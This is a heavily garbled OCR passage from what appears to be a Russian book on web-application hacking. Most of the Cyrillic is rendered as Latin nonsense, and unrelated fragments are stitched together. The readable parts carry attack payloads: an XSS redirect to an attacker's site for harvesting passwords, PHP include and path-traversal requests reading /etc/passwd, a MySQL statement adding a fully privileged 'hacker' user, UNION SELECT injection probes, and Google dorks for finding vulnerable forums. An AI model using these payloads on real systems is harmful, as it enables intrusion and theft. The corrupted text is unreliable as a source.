JUTh, 3TO IHAUMT, YTO BINOMbI JOMKHBI HAKA3HIBATLCH NO ONPENENEHHBIM 3aKO-
uaM, Mbl nomKHbI BeCTH Ce6f LMBUIMIOBAHHO, MHade, KAK PaKkosad ONyXonk
YIMHTONKACT XKHBOH OPraHi3M, Mbl YHHUTOKHM CaMi ceba,
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3 uma yuetsoii sanncy 8 CYBJI, Ecau a7oT napametp He ykasad, To Syner uc-
MOAB3OBAHO UMA U3 IEPBOTO NAPAMETPA.

Takum oGpa3soM, AoGarneHHe rocTeBol y4eTHOH 3aIIMCH C TOMOWIBIO TIPOLIERYPBI
sp_grantdbaccess Gy/eT BurIsSAeTE CAEAYOIUM 06pa3omM:

EXEC sp_grantdbaccess 'notebook\IocTs’

Jina ynanenus mo/ib30BaTeNs MCIONb3YETCA NPOUSAYpPa sp_dropuser, KOTOPOH
HyxHO nepenaTs HMA moab3oratens CYBJI (MBI ero ykassiBanu BO BTOpOM Aapa-
MeTpe Npolteayphl sp_adduser, WK sp_grantdbaccess). B cieayiowem npumepe
Mbl YAANAEM TOCTERYIO YHETHYIO 3aMKCh U3 TeKywieH 6aspr:

EXEC sp_dropuser 'notebook\guest'

Vnpagnesnue — 370 XOPOIL0, HO Hy)KHO YMETh ONIPENENUTh, kakue BoobLue cyme-
CTBYIOT yueTHbIe 3amuci B cucTeMe. JIis 3TOT0 Henonb3yeTcs XpaHHMas Npouesypa
sp_helpuser. BemonuuTe e¢, n nepen saMn moABHTCA TaGauua ¢ HEpopMauMei

© nonbiosatenax Tekywek CYBJI. Pesyastupyiowas TaGauua COCTOMT W3 Crie-
Ayroumx nosei:

0 UserName — WMSA IONB3OBATENS,;

0O GroupName — Ha3BaHKe PONH, B KOTOPYIO BXORUT NOJSb30OBATENb;
0 LoginName — WM, HCRO/B3YEMOE [UI% BXOAA HA CEpBep;

O DefDBName — 6a3a JaHHLIX MO YMOANAHHUIO;

) UserID-— WACHTHDUKATOP MOBIOBATENS;

0 STID — noAL3oBATENLCKUI HAEHTH(MKATOP Ge30NACHOCTH.

He menee onacuofi ana Web-cepeepa M ynoGHO# s Xakepa MOXeT OKA3aThCs
rpoUeaypa xp_terminate_process, KOTOPas M0O3BONSET YHHUTOKHTS YKAIAHHBIA
NPOLLece N[O £ro HaeHTHdKRKATOPY.

Cnenytoluse XpasyMble APoueayps! Ao3BonsioT pabotaTk ¢ peectpom Windows,
'TO TOKeE AOCTATOUHO OMACHO:

0] xp_regenumkeys;
(] xp_regenumvalues;
xp_regread;
xp_regwrite;

xp regdeletekey;

21233

xp_regdeletevalue,

TlECHIO CKIIN T, 3 HONATHA 11C MMEIO, 3aveM ony aoBamien n CYBJL
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Pue. 10.1. Oxro Bpaysepa ¢ coobienmes

TToka HHYEro CTPAIIHOTO He TMPOM3OLLIO, HO MPEANOCHIUTKH OMaCHOCTH YKe eCTh,
lepBoe, uTO MONET HATBOPHTH XaKep — CAE/TaTh MEpeHaNpaBlieHHe Ha CBOIO
Web-ctpannuy. Jns 3toro B TekcTe coollieHHsa OThpaBMM  creayroumuit
JavaScript-kon:

<script>

document . location. href="http: //www.vr-online.xu"

</script>

Tenepb npu 3arpyske Web-cTpaHuup! nosblopatens GyaeT nepedanpasieH Ha
Web-caiT, yxasanHslit xakepoM. B JanHoM cnyqae — www.vr-online.ru.

Kak 310 MOJKHO HCTIONS30BaTE B KOPBICTHBIX teaax? [Tomumo Toro, uTo Xakep no-
ayuaer tpaduk ¢ wyxoro Web-cafita, OH elte MOXeT ykpacTh W napoau. Jins s1o-
ro MOXHO co3faTh Web-cTpanuiry, koTopas Gyner konMeit oQHOW W3 CTpanMu
Web-caiita, Tpadux ¢ kotoporo Bopyerca. Jlydwe Syner coanars Web-cTpannuy
PETMCTPaliNH M MOTIPOCHTE MONB3OBATENIA BBECTH MMA W napofis 3avoso. s
npaBaonoaoGHOCT MoxkHO aobasnTb coobwenne o6 owubxe, Kuk Gyaro npo-
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+
O id — MoXeT cofiepath MaeHTHdUKaTop. Hanpumep, ecid B HOBOCTHOM sieHTe
Kakaas HOBOCTb 3TO oTaeneHbIA Gaitt Bua: newdNNN.htm, rae NNN — 310 Ho-
MEp HOBOCTY, TO ITO 3HAYEHHE MOXKET NEPE/IABATHCA HEPE3 APaMETP C HMEHEM id;

0 lang — HekoTOphie Web-caifTe! MCMONBIYIOT 1aGNOHb! A1 PA3HBIX HALHO-
HanBHBIX A361Kk0B. [TpK 3TOM 3r0NOBOK W HIDKHAA MacTh Web-CTpaHHLIE MOTYT
XPaHUTCA ANIA PasHBIX A36IKOB B PASHEIX (haiiiax W MOMKNIOYATECS B 3ABUCHMO-
CTH OT 3HaueHUs aaaHoro mapametpa. Hanpumep, B daline header_en.htm xpa-
HHUTCA aHrMAcknit saronosok (header) Web-caiira, a B dhaiine header_de.htm —
Hemeukui. [Toaxmouenne COOTBETCTBYIOWIEre 3aroNOBKA MOXKET BbITIANETH
CHEAYIOLHM 06pasoM:
include ("header_".$_GET{'lang’}.".htm")

Moryr 6bITk M ApYrHe UMEHA TEPEMEHHBIX, M 1A HX MOMCKA XaKep TPOCTO MbiTa-
€TCA 4epes Bee HaHeHHbie MapaMeTpsl nepenath Hayrag HaGpaHHbie CHMBOJIBI
HAK cayvaitabii TekcT. Ecnie Web-crpannua sa ownGky 8 onpenencHHOM nMapa-
MeTpe COOBIMT HaM, YTO (afin HE HAlMeH, TO XaKep MOKET HAleATLCR, YTO 31ECH
€CTb YA3BUMOCTb. [aibHEHILIME AECTBU — NONBITATHCA TONYHUTH 10CTYN K CHC-
TeMHOMY (ailTy, ¥ €CTM €CTh 3aNPeThl HA MCMONB3OBAHME ONPEACTIEHHBIX CHMBO-
110B, TO HEOGXOAMMO MOTILITATLCA X OGOHTH.

3.1.2. Npo6nema include

Jna 3aKpenneHus npoiaeHHOro MaTepuana paccMoTpuM npobneMy MIHYTpM, 7. €.
HITAAHEM Ha cleHapuH, KOTOpbIl comepxut owubky. Ko cuenapus, aMynupyto-
uero omubKy, npusenen & aucTuHre 3.1,

<HTML>
<HEAD>

<TITLE>PHP test</TITLE>

</HEAD>

<BODY>

<center><h3>Injection test</h3></center>

<hr>

<a href="inc.php?dir=newskfile=netutils">Read news</a>
<hr>

<?
1€ (isset(S_GET['file‘]))





index-168_1.png
164 Inaea 5

Crenyloumit SQL-3anpoc f0GaBAET HOBOTO 0/Ib30BATENS, KOTOPOMY AOCTYMHEI
BCE PUBUNETHU:

INSERT INTO user
VALUES ('$', ‘hacker', pagsword('mypass'), 'Y', 'Y',
TYUYLY Y Y Y Y Y Y, YY)
Ecnu poBasnende HOBBIX 3amMcelf HEAOCTYIHO, 3aTO JAOCTYNHO OGHOBIEHHE, TO

XaKep MOMKET UIMEHUTh CYIIECTBYIONYI) YUETHYIO 3alMCh, H3MEHHTH €€ Tapoib
HIIM Mpasa:

UPDATE user

SET Drop_priv="Y’

WHERE uger="hacker'

Cnegytomas Tabiuua, KOTOpast T03BOAACT YNPABJATE NpaBaMu, — 970 db. Ecnm
B TaGAHUE user COACPKATCA NpaBa AOCTYNA KO BCeM §azaM maHHBIX, TO B db —
TOABLKO K ONPEASACHHON, Jina YTeHUs NaHHbIX W3 TabAuLbl BbITONHACM SQL- 3anpoc.
SELECT *

FROM mysql.user

B aToit TabiLe MOXHO HRIiTH CASTYIOWHE F108:

O Host — UMA XOCTa;

0 ab— Gasa nannbIX;

0 User — HMA NOAL3OBATENS;

0 select_priv — ecik B 3T0H Kosioske Y, TO I10b30BATENIO PA3pELlieHO Bhlw
MO/IHATS OIlepaTop SELECT;

o Insert_priv— €CNH B 3TOH KOAOHKE Y, TO [10b30BATENIG PA3pPeIleHd BCTAR-.
JIATH HOBBIC 3ANUCH, T. €. BHINOAHATL ONEPaTOp INSERT,

0 update_priv — ecau B 310/ koaonke Y, TO IOAL30BATENO paspeiueno oGHOB-!
NATh AaHHbIE, T. €. BBIMOJHATE ONlepaTop UPDATE;

o Delete_priv — eClH B 3TOH KOJIOHKE Y TO MOAB3OBATENIO pa3pelleHO yna-
JATE AARNbIE, T. €. BLITOAHATE ONIePATOp DELETE;

00 create_priv — €c/M B 3TOH KO/OHKE Y, TO 110/7b30BATENNIO Pa3peileHO co:ma-
BaTh HOBele TaGMUbI unv Galy NaHHBIX, T. €. BBIMOAHATL ONEPATOP CREATE
TABLE;

0 Drop_priv — ecaH B 3704 kojjoHKe Y, TO MONL3OBATENO PA3PEIIEHO YAAIATH
Tabauubl WiK 6a3y NaHHBIX, T. €. BEITIONHATEL ONEPATOP DROP TABLE;

0 Grant_priv — €cjin B 3TOH KOMOHKE Y, TO MOAL3OBATENIO Pa3peLeHO ynpas-
ASTE IPABAMH AOCTYNA, T. €. BbILOJHATS ONEPATOPLI GRANT H DENY;

0 alter_priv — ecnu B 9TOH konoHke Y, TO [0NL30BATENO PA3PEIIEHO H3ME-
HATB CTPYKTYPY TaGnuliky, T. €. BLINOAHATL ONEpaTop ALTER.
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Puc. 3.8. CooBuenve o6 owubke npas goctyna

B nepsbix aByx cTpokax cumeonamy "XXXXX" 1 3aMeHHI HMA manku, KOTopas
coorBeTeTByeT nvenn Web-caiita. Pas nam uto-to paspemewo, gasaiime nocMor-
prm Ha 310. [lepBoe, YTO MOXKHO YBUAETL — CTPYKTYpY Web-caiita. Jina atoro
JIOCTATOUHO NepesiaTh B ka4ecTee napameTpa "../". PesynbTar nokasau Ha puc. 3.9.
BoT oy, Bee daiinst, KaK Ha NRAOHH, MOXHO MYyTEIIECTBOBATh MO NIOGLIM NanKaM
H CMOTpETD, YTO YrOAHO.

PaccMOTpeB, AOCTYMHbIE ANA HTEHHS AMPEKTOPHH, A HallieNl MHOFO HHTEPECHOTO,
Koneuro, sanampisate Web-caliT 1 He CTal, HO MOXHO CKa3aTh, 4TO A CTORA Na
uon myTw k 3toMy. TyT 3Kke B KOPREBOH IHPEKTOPHHM Haxoauica cucHapuil, xoto-
i noseonst pabotaTh ¢ Gasol aanHex MySQL, koTopoit aocTaTouHo 6kino ne-
PeAaTsL TONBKO Naponb. Jla, ITOT Napoab HYXKHO GLINO elle W Y3HATD, 110 He YAHN-
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HAXOANTCA HA OfAHOM KOMOBIOTEPE, MOMyUEHWE TAKHX AAHHBIX OTHHMET He OHH
HECATOK CEKYHA. A €CITH Ha pasHbiX? Jlaske NPH COBEPIICHHO HE 3aHATOM H CAMOM
MOMIHOM KaHAJIe Mepechblika TAKOTO KOMMHECTBA AAHHBIX OTHAMET cile Gonbile
BPEMEHH.

Tak Kak ke 370 npoucxoaut? Jleno B ToM, 4To OTOGpaXKaTh NONE3OBATENIO BECH
CUCOK PesyAbTaTOB MOMCKA CIMINKOM HAaKMAgHO, TIOITOMY OH paibuBaerca Ha
CTPaHHLL!, Ha KXKROM M3 KOTopBIX oToGpaxkaercs or 10 go 30 sanmced. Uexona
3 3TOTO, MOAYYEHUE PesyIbTaTa MOXKHO pa3fuTh Ha ABa Jrana:

1. Onpenenute 06l KONHYECTRBO 3amUCeH, YIORMETBOPAIOMIMAX KPHTEPHAM 110-
Hcka:
SELECT Count(*)
FROM TableName
WHERE KpuTepnu nowcka

PeaynsTaToM SQL-3anpoca Gynet Bcero AWIUL OMHO MHCHO, ANA XPAHEHHA KO-
Toporo xsaTuT U 4 Gaitros. Takoe uucio CYB]] cMoXeT MrHoBeHHO mepenars
CLUCHAPHIO.

2. Bubibpatb saHHbe Ans GOPMUPOBAHUA TONbKO OnHOM CTpanuusl. Ha HauaisnoM
3Tane 3TO MepBad CTPaHHUA W HYXHO BuIGpaTh nepsabie N samucedd. Ecoiu cpa-
HHUUA BTOpad, To BbiGupaeM samuck N + 1 no N+ N u T. a. 310 HamHoOro yno6-
Hee K GbICTPEe [0 ABYM TIPHURHAM:

¢ koraa CYB/I ckanupyer §asy NaHHbIX B IIOMCKe HYXHBIX 3aMCEH U HAXOAUT
nepsbie N CTPOK, TO TIPEPHIBAET MOKCK ¥ BO3BPAINACT PE3YIbTAT KAHEHTY.
HanbHefiiuee ckanupoBaHue GECCMBICTIEHHO, TOTOMY 4TO KiHeHTy Gonblie
3amucel MoKa He HYXKHO;

¢ 00 ceTH nepenaercs TONbKO N * pasMep CTPOKH AaHHBIX, YTO HAMHOIG
MeHbILE, HEM pasMep CTPOKH, YMHOXKEHHB1H Ha 690 000 000.

B cnyuae ucnonb3oBanua camoii pacripoctpascnHoit CYBI MySQL ansa peanusa-
LIMH BCETO BBILLECKA3aHHOTO HY)KHO HCIIONb30BATh ONEPaTop LIMIT:

SELECT *

FROM TableName

LIMIT ¥, N

Fae Y — CTPOKA, HAYMHAA ¢ KOTOPOH HYXHO BOIBPAILATL Pe3ynbTar, a N—
KonuuecTBO cTpok. Hampumep, ecnn HeoGXOAMMO MOMYWHTb CTPOKH, Ha4HHAf
¢ 10-0#i no 2510, HyxkHo BhIONHATS SQL-3anpoc:

SELECT *

FROM TableName

LIMIT 9, 15
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puu ykasaHa cuctemuas nanka UNIX, a eMecto ¢afina CTOMT TOBbKO TouKa,
B oTseT Ha 3T0 A yBUAEI TIONHOE COACPAKHMOE NUPEKTOPHH /etc,

Hy uvo xe, nonpoGyem npocMorpeTh kakoi-HiuGynb $afin B 310l AMpekTOpHE,
Hanpumep, passwd, B KOTOPOM HAXOAMTCA CNMCOK MOAL3OBATENEH CUCTEMBY:
http://www.sitename.domain/index.php?dir=/etc&file=passwd. Peaynstar npesso-
wwen BCe OXKMAaHUs. Masio Toro, 4TO A yBUAeN comepumoe (alina, Tak ewe B 38-
ronoeke okasanack wHpopMauns o6 ycrasossenxoii OC (puc. 3.1). B nansom
crysae ato okasanach FreeBSD. Ha pucyske 8 ynanun sce, 4To MOXET yKasaTh
BaM Ha Web-caliT, W 0CTaBAN ToMbKO Comep)UMOE (alina /etc/passwd.

SrarenhEnels
B4

Puc. 3.1. PesynsTar npecmorpa daina napenev

Ilepeas cTpOKa ualIE BCETo yKAKIBAET HA YHETHYIO 3aMMCh anMuxucTpaTopa. Tyr
XO4CTCS NOXBATHTH AAMWHUCTPATOPA CEPBEPA 33 TO, YTO OH NEPEUMEHOBAN FBB-
nylo yueriylo sanuce. [To ymonuaruio UNIX zans anmunucTpaTopekoro jloctyna
HCIONB3YET MM roOL, HO ero W3MEHHIY Ha toor. Koneunno, 770 CHIKoM 1ipoeToo
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BKJIIOUATh B cef roTOBbIC peanuiaumy GopyMoB, roCTEBLIX KHUT, NEHT HOBOCTeH
u 1. A. Hanpumep, phpBB unu ikonboard, koTopbI¢ 04eHb CHIILHO pacmpocTpaHe-
Hel B HHTepHeTe.

Ecnu B kakolt-HuGyab W3 TaKuX COSUWANBHBIX MPOrPaMM HalifieHa KPUTHYECKas
YA3BUMOCTb ¥ O HEH y3Hanu Xakepbl, To Bce Web-caiiter 8 HutepHere, ucnofs-
3YIOLHE €€, TIONBEPraloTCA ONACHOCTH. BOMBINMHCTRO AAMMHKCTPATOPOB He MOA-
MUCAHBI HA HOBOCTH W He OGHOBJAIT ucronbayembie Ha Web-cepeepe daliner
CUEHAPHEB, MO3TOMY OCTAETCA TOMLKO HAWTH HyxHbi Web-caift M BOCHONB30-
BATbCA FOTOBBIM PEIMEHHEM ANA OCYLUECTRICHUA BIOMA,

Kak waitty Web-caitThy uAM (OPYMBI, KOTOpbIE coflepkaT yszsumocTs? Ouens
npocto. Yate seero cuenapHii xkeprsbr MoxHo onpenenuts no URL. Hanpumep,
KOTAa BbI TIpocMatpuBaete va Web-calite www.sitename.rn pasgen dopyma, uc-
NOBb3YIoUEro B kavectse asikka Invision Power Board, To cTpoka aapeca co-
ZAESPXKHT CeayOWmii Kom:

http: //www.gitename. ru/index. php?showforum=4

Texer "index.php?showforum=" Gyner BcTpeuarhcs na nioGoM Web-caire, uc-
nonbayiowem s Gopyma Invision Power Board. Uto6br naiiti Web-caitrsl, co-
lepxamue B URL AaHHb TEKCT, HYXHO BBINOAHUTL B TIOUCKOBOH cucTeMe
Google crenyiowuii sanpoc:

inurl:index.php?showforum

MoryT ObiTb ¥ APyrue MpOrpaMMBl, KOTOPLIE HCTIONE3YIOT 3TOT TeKeT, YTobs! OT-
6pocHTh MX, HY)KHO ewe H0GaBUTh TMOMCK Kakoro-uubynb gparmenta ws Web-
crpanuu, Hanpumep, no ymonuanuio suusy kaxnoh Web-crpanuus gopyma ecte
noxmuck "Powered by Invision Power Board(U)". KoneuHo xe, aaMunucTpatop
MOKET M3MEHMTH HaATHCh, HO B GONBIIMHCTBE cyuaes ee ue Tporalor. UMesHo
Tako# TeKCT MOXHO N0GRBHTbL B CTPOKY MOMCKA, M TOrAA pesyibratoM GyayT
Tonbke Web-crpaHnUb! HyxHOro nam gopyma. [lonpoGyiite BbINMOAHATE CHEAYIO-
Lui 3ampoc:

Powered by Invision Power Board(U) inurl:index.php?showforum

Bui yunute Gonee 150 Tuicay Web-caiiToB, peanu3oBaHHbIX HA 3TOM CLICHAPHA.
‘Teneps, ecnu moABUTCA yA3sumocTs B Invision Power Board, To bl nerko Haiinere
xepTey. [Jlanexo He BCe AAMHHHCTPATOpbl YCACIOT JTMKBHAMPOBATE OWMGKH,
2 HexoTopie BoOGue He GyayT X MCTPaBIATS.

W Bee xe, meTon GET HeobxomuM. Bonbuinacteo Web-calitos cocTouT e Gonee
sicm 13 10 daiinos cuenapues, KoTopbie 0TOGpaXAIOT MaHHbe HA Web-CTpauHue,
1 1BuCHMOCTH OT Bhifopa nonksosarens. Hanpumep, sarnsHeM ha ace ToT e URL
(popyma: http://www.sitename.ru/index.php?showforum=4. B manHom ciyuao
mamsiBaeTes cueHapuit index.php, a B xauecTBe napamerpa nepenaeTca showtorum
1 wacno "4". JlaKe He 3HaA HCXOAHOrO Koaa CUEHapHsi, MOXCHO JIOIMJIAThER, UTO
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ABTOpUn3auusa

ABTOPH3ALMIO MBI PaccMaTpHBacM B 3TOH KHUTE N4 NOHHMAHUA reHMATbHOH
u oYeHb onacHol araky — XSS (Cross Site Scripting, MexxcaiTOBbI# CKPUITHHT).

ObHornATb HpopMawkio Ha Web-caiite yepes FTP-HeHT ¢ NOMOILBIO 3aKaUKH
HOBBIX (DaHI0B HOCTATOMHO HEYAOGHO W HE BCEra BOIMOXHO, HANPHMEP, MHE
npuxoaunock paGoTats B CeTAX, rie A0CTYn B MHTEpHET OCYmECTRISNCA TONbKO
no HTTP. HmMenno Torna s 3aZyMancs O cCHCTeMe aAMUHNCTpUposanus Web-
catros nocpeacTsoM Web-untepdeiica.

CueHapu afMUHHUCTPHPOBAHHA [03BOIAIOT YTIPABIATE COACPAHMbIM Web-cTpanmu,
NO3TOMY HOJUKHE! GLITH 3aKPMITH OT NOCTOPOHHEro B3rNAAa. JInA 3TOT0 HEoOX0-
AY¥Ma OTACTbHAA 3a1KUTa, KOTOpas TO3BOJIMT BaM CI1aTh CNOKOHMHO W He JacT Xake-
PY BBNIO/HHTS (IPUBHIErHPOBAHHbIE OnepaLtuy. B kauecTse Takoi 3aMMTE MOXKHO
UCMOTL30RATh CPENCTAA AYTEHTHOUKALUN.

ABTOPH!BLIHFI HY)KHA2 HE TOAbKO aAMHHHCTPAaTOpaM, HO W MONBIOBATENAM, 'l'l“slal
OHHM MOPJTH FO/b30BATECA ONPEACACHHIMHM NPUBUACIUAMH. 3aperucTpUPOBAHHI-
MH NONL30BATENSMU MPOLLE YIPAB/ATE M KOHTPONMPOBaTh MX nedfcTsua. FMenno
MO3TOMY Ha MHOTHX (OPYMaX PaspelliaeTCs oCTAaB/IATh COOGLIEHHA TONBKO TAKHM
nONb30BATENAM.

9.1. AyteHTudukaumus Ha Web-cepeepe

Ecnu kakas-niu6o aupekropus Web-cepaepa nomkHa UMeTh ocobbie npasa no-
CTYFa, TO MOXHO CO3AaTh B Hed ¢aiin htaccess, B stom Qaiine onucbrealoTen
paspelieHns, AelCTBYIOUIME HA AHPEKTOPHIO, B KOTOPOH OH pacnionomeH. [pH
ofpawennd k moGoMy daiiy M3 nansol aupexTopun Web-cepsep Gyner Tpe-
Gosath ayTenTudukaudy. Ja, ayrentudukalnn Syaner tpebosats uMenno Web-
cepaep, 1107TOMY IONOAHUTENBHBIC cucHapyn we ioTpebyioTek, Takum ofpaiom,
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A ¢ xakam SQL-3anpocom Ham npoussecTd obnenunenue? Uto od nomKeH Bo3-
BpalaTh U OTKyna Gpate manubie? Ja HMOTKyAa H Huvero. OH MpoOcTo AOMKeH
BO3BpALLIATH HY/NCBOE 3HAYCHUE, Hynesble 3HAYEHNS TTO3BOJIAT HaM 3a6BITh O TH-
nax noneli, NOToMy 4TO OHM Beeraa GynyT coBmecTHmbIMU. Hanpumep, cresyro-
muit SQL-3anpoc BROMHE KOPPEKTEH M BO3BPALIAET OAHO MYCTOS 3HAYEHHE
(NULL):

SELECT null

IMonyyaetcs, 4TO Mbl MOXEM MOCASAOBATEIbHO 06BEAMEATE SQL-3anpoc, kKoTo-
puifi BBITIONHAET CLEHAPHit ¢ BLIGOPOM MYCTHIX MOAEH A0 TeX Nop, Noka CLeHapui
He GyeT BuIMOAHEH KOpPeKTHO (He Gyner ownbok):

SELECT *

FROM smf_polls

WHERE posterName='' union SELECT null, null,

IMoTom, TPOCTO NOCHUTAB KOMMYECTBO MYCTLIX 3HAUEHUI Ha Hamero SQL-aanpoca,
MBI Y3H2eM KOJIMHECTBO NoNeH, KoTopbie Bo3spaiaeT SQL-3anpoc cuenapus.

Hrak, nopGop komuuectsa noneit Syaer suirnanets creayommm obpasom. Jna
Havana HeoGX0IMMO BBECTH B [IONE BROAR:

* union SELECT null /*

Ecnu cueHapuii BepHeT oinubky, TO nepenaum:

* union SELECT null, null /*

UT I

‘ Npumeuanune I

B SQL-3anpoce MOXHO BMeCTo NpoGena yKadwlpaTb 3HAK NMIOCA, HANPUMEP:
union+SELECT+null, +null. UHoraa Takas 3anuce 3anpoca Gonee yaoGHa, 0co-
GeHHo, ecrn NpoGentl OT(MNLTPOAbIBAKITCA CLUBHAPHEM.

A yTO O3madaeT /* Ha konue? JTH mea cuMeona ykasmisator CYB/I, uto Bech
nocreayromui Texct B SQL-sanpoce — 3TO KOMMeHTapuli, M €ro BHIIONHATH
He HyxHo. Ecnu ne ykasate storo, To CYB]I sepHet ownbky B mobom cayuae.
TNouemy?

Ecnu nocre sueapenus sawero obmegunennoro SQL-sanpoca we nocTasuth
KOMMEHTAPHH HA KOHLE, OH IIPUMET CAEAYIOWNH BUA:

SELECT *

FROM smf_polls

WHERE posterNames=''

union

SELECT null '
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Cospemennbie CYBJL MoryT noanepxueats Bnoxenssie SQL-3anpocst. B Heko-
TOPBIX Cy4adX OPOTPAMMHCTEI HAMMHAIOT MU 3n0ynoTpebnath, [pu nanucanum
SQL-3anpocos crapaliTech HCNONB30BATH MUHHMANILHOE KOIMHECTBO ONEPATOPOB
SELECT, 0COGEHHO BIOMKEHHBIX B CEKLMIO WHERE. JINs MOBBIIEHHS NPOM3BOAH-
TEABHOCTH MHOTI2 XOPOIIO MOMOTAET BLIHOC JMIUHEr0 SELECT B CEKLMIO FROM.
Ho unorna GeiraeT W HaoGopor — Gbictpee OyaeT sbimoanatbes SQL-sanpoc,
B KOTOPOM SELECT BbIHECEH M3 FROM B TEJJO WHERE. DTO Yk 3aBMCHT OT ONTUMH-
3aTopa koHkperHo# CYB]I.

HomnycTyM, 4ro HaM Haaoe BuiGpaTh BCEX MOACH U3 Gasbi aHHBIX, KOTOpbie paGo-
TaloT HA TPEANPHATAN B JaHHBA MOMEHT. [lna Bcex paboTaiolMX B KOSOHKE
Status CTABHTCA KOA, KOTOPbIA MOXHO MOMY4MTH M3 CRPABOMHHKA COCTOSHUH.
TMocmoTpum Ha nepshiii BapuanT SQL-3ampoca:
SELECT *
FROM thPerson p
WHERE p.idStatus=

(SELECT [Keyl) FROM thStatus WHERE sName='PaSoraer')

Bam HeoG3aTeNbHO MONHOCTBIO MTOHKUMATE CyTh. TNABHOE 3AECh B TOM, 4TO B CeK-
UMM WHERE BRITIONIHAETCA BiokenHbiii SQL-sanpoc. OH Gyner renepuposatncs
ANA Kaxaol cTpokd B Tabauue tbPerson, ¥TO MOXKET OKa3aThed HaKIAAHBIM
(noy4aeTcs MK, A LUK — BPAr IPOU3BOAHTENLHOCTH).

B Takux cnyvadx s npeanouutarw CYB]I, xoropeie He moryT paGoTaTh ¢ BiOXKe-
HUAMH, 4TO APHBOAMT K HeoGXOMMMOCTH Hamncanns nsyx SQL-anpocos. [Mep-
BbIit Gyner nonyuyaTs cTaTyc:

SELECT [Keyl]

FROM thStatus

WHERE sName='PaGoraer'

A BTOpO# GyAeT UCTIONLIOBATH €10 14 BEIGOPKY paGoTHUKOB:
SELECT *
FROM tbPerson p
WHERE p.idStatus=Tomyuensr Craryc
Tenepb NOCMOTPUM, KAK MOMHO BBIHECTM SELECT B CEKUMIO FROM. 3TO MOXHQ
caenath Tak:
SELECT *
FROM tbPerson p,
(SELECT [Keyl] FROM tbStatus WHERE sName='PaGoraer') s
WHERE p.idStatus=s.Keyl

B atom criyuae Gyner soinonsed SQL-3811poc HI CEKLHH FROM. A BO BPOMK OBAIM«
satMA POty T ¢ raGiich paGOTHHKOB Mbl 1IONYHM OKOHURTG/bIbIA PerYNINTAT,
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Tak Kak Ha ABOpE HEMMNMOHAT Mipa N0 GyT6oNy, TO A NPOCTO 3ANYCTHA NOHCK 10
cnoBy "soccer”. TIpn 3ToM MeHs rHTepecoBany kpynieie Web-caifTel, nocTpoeH-
Hele Ha ASP + MS SQL Server.

Tepeeiit Web-cafit, koTopbiii nonancs MHe Ha rnasa, — www.escup.com (puc. 6.1).
On 06)13118)[ BCEMH HEOSXODMMHMM MHE CBOHCTBAMH.

Fir airs do spend $106
ot

T
i

Puc. 6.1. MnaeHan cTpaHvua Web-caitta www.escup.com

Kak Bcernia, s Havan w3ysate Web-CTpaHHUbL, W Be3Ae, TA€ NEpeaasBanuch napas
MeTpbl uepes cTpoky URL, 4 ykasbisan BMECTO 3HaueHHMi npon3sombHbIM HaGop
cumsonos. Hanpumep, ecan URL onpenenchtoii Web-crpasnue! BhIrIfAen Kak
http://www.escup.com/index.php?id=10, vo BmecTo uncna "10" 8 mapamerpe id
2 npoBosan nepenath GecrnopanoyHble JaHHbIE, B TOM YMcie HaGpanHble Hayral
0Bs3aTe/IbHO CONEpXKALIHME CUMBON OAMHAaPHOH KaBbivku. Ha nepsetit Barnan Web-
caliT owwBoK He Cogepskal, W A yke XOTen NepeliTH na Apyrod, 1o TyT A BBen
B NOIe MOMCKA CI0BO "test’ W OAMHAPHYIO KaBbIYKY M NEPEIO MO NOABMIACH
3aBeTHas oliubka SQL-3anpoca (puc. 6.2).
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Ho ace aTh cTapanns xaxepa GymyT GECCMBICICHHB!, €C/IH OH HE Y3HAET, KaKyKo
NEPEMEHHYIO HY)KHO HCNIonb30BaTh, O6 3ToM MoXeT COOGLINTL TOAbKO HCXONHBIH
kon, coobmenne of owmbke o1 Web-cepepa unn Sanansueiii monGop. [Moabop
370 U3 06/1acTH (AHTACTHKY, a NEPBOTO W BTOPOTO ZOCTATOMHO NETkO Wafexarts,
€C/TH CLIeHAPHM HAMKCAHB CAMOCTOATENbHO, TaBHoe, 4TOGkI 3TH CLEHADHH MH-
HUManbHO oToGpakany MHGopMaumio 06 ownbkax, a COXpaHsTH 3Ty HHGOpMa-
umio B ¢aiinax sxypuana. MMenHo owubku MOryT cooGLUHTE XaKepy MHOTO HHTe-
PECHOrO, MO3TOMY Nyulite He 0Tofpaxarh ux.

Ecnn Ha Web-cepBepe BiuTioueHo oTo6paxenye omnbok U mpeaynpexacHui, To
TIpK OMpeNIeNeHHbIX YCAOBHAX MOKET NOABUTLCA CoOGeHHE THRA:
Notice: Undefined variable: dbmame in /var/www/html/ index.php on line 2

B manHOM ciryuae HaM co0BILAIOT, YTO BO BTOPOH CTPOKE KOJa cueHaprs index.php
ecTb HeoDBABNEHHAT nepemetiai. BosMoxcHO, 4To oHa conepxuT owubky. [Touemy
BOBMOXKHO? ZIeNo B TOM, 4TO NPOTPAMMHUCTBI N1 32UIMTEI MOTYT NPOCTO ABHO YHHU-
TOXATH [IEPEMEHHBIE B CAMOM HAYane CLEHAPUA C ITOMOWBI0 QYHKLIMH unset:

unget (dbname) ;

B 370M cayuae, AaXe ec/M Bbl TOMbITAETECh NEPENaTh 3HAYCHUE NEPEMEHHOH
dbname B BUAE MAPAMETPA, TO OHA GY/ET ABTOMATHYECKM CO3/AHA W TYT K€ YHHY-
TOKeHa B GYHKUHM unset.

Kak suauTe, HanuuMe KOfla OYEHb XKEAATEABHO JUIA MOMCKA TAKHX YA3BUMOCTEH,
V3K cAuiikoM MHOTO MOXeT GbiTh "a ecni" M OYEHB COXKHO HCKATE YS3BUMOCTD,
HE 3HaA UMEH TIEPEMEHHBIX 1 IOTUKH BBIMONTHEHUA CLCHAPHA.

3.5. NMpuHuun MoaynbHOCTH

Toneko cambili mpocToit Web-caliT MOKET COCTOATL W3 OAHOTO (aiina cueHapua.
Koneuno, B onun 6onbLuoli hain MOKHO BITHXHYTb O4YEHb MHOTO, HO CTOMT JIX 3TO
nenatb? CompoBoXAAT, Takoil cueHapuit GyneT npobneMaTHuHO, a2 ¥ Ha Mpous-
BOJMTENLHOCTH 3TO CKAKETCH OTPHLATEBHO.

HamHoro atdexTusaee pasgesuTs FporpamMmy Ha HeCkosbko 4acTel. Hanpumep,
KOJI pa3jieNna HOBOCTEH NoMeCcTUTh B (aiin news.php, a KO CueHapua ¢ KaTanorom
TOBapa nomecTuTs B haiin products.php, ¥ B 32BHCHMOCTH OT BeIfOpa NoNb30BaTe-
114 BLINONIHATL TOT WK HHOH cueHapuit. Takok Web-CaldT CONPOBOXKAATE HAMHOTO
